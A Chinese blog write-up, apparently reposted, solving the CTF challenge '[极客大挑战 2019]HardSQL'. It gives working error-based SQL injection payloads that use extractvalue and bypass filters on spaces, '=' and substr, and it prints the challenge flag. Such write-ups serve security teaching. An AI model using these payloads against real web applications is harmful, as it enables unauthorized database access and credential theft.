首页 > 数据库技术 > 详细

[极客大挑战 2019]HardSQL

时间:2020-09-24 23:14:46      阅读:98      评论:0      收藏:0      [点我收藏+]

cl4y师傅出的又一道sqli

首先我们进行fuzz,跑完之后显示出被过滤的非法字符:

技术分享图片

 

  过滤了union,空格,=等字符,我们先输入一个‘进行测试,发现回显报错,于是我们尝试进行报错注入:

payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,version())))%23&password=123

  尝试在username处进行注入;因为空格被过滤了,我们在这里使用括号进行绕过;爆出来当前数据库的版本:

技术分享图片

  我们已经可以确定了注入方式和注入点,接下来就是一波老操作,在这里直接给出payload和回显图片("="被ban了所以我们使用like进行代替)

payload:?username=admin%27or(extractvalue(1,concat(%270x7e%27,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))%23&password=123   //XPATH syntax error: ‘x7eH4rDsq1‘,爆出表的名称为H4rDsq1

 技术分享图片

payload:?username=admin‘or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1‘)))))%23  //XPATH syntax error: ‘~id,username,password‘,爆出当前表中的三个字段

 技术分享图片

  敏感信息应该是存在于password字段中,于是我们尝试读取password的内容:

payload:?username=admin‘or(extractvalue(1,concat(‘0x7e‘,(select(group_concat(password))from(H4rDsq1)))))%23&password=123

 技术分享图片

  我们已经成功爆出了flag,但是因为回显的字符串长度不够无法完全读取flag的值,而且substr被禁用了,于是我们使用right()函数进行读取

  right(str,length)函数返回str的后length个字符,

payload:?username=admin‘or(extractvalue(1,concat(‘0x7e‘,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23&password=123

技术分享图片 

拼接后的flag:
flag{c4be14ce-1e03-4e19-8152-c2d222064351}


 

[极客大挑战 2019]HardSQL

原文:https://www.cnblogs.com/M1saka/p/13727053.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!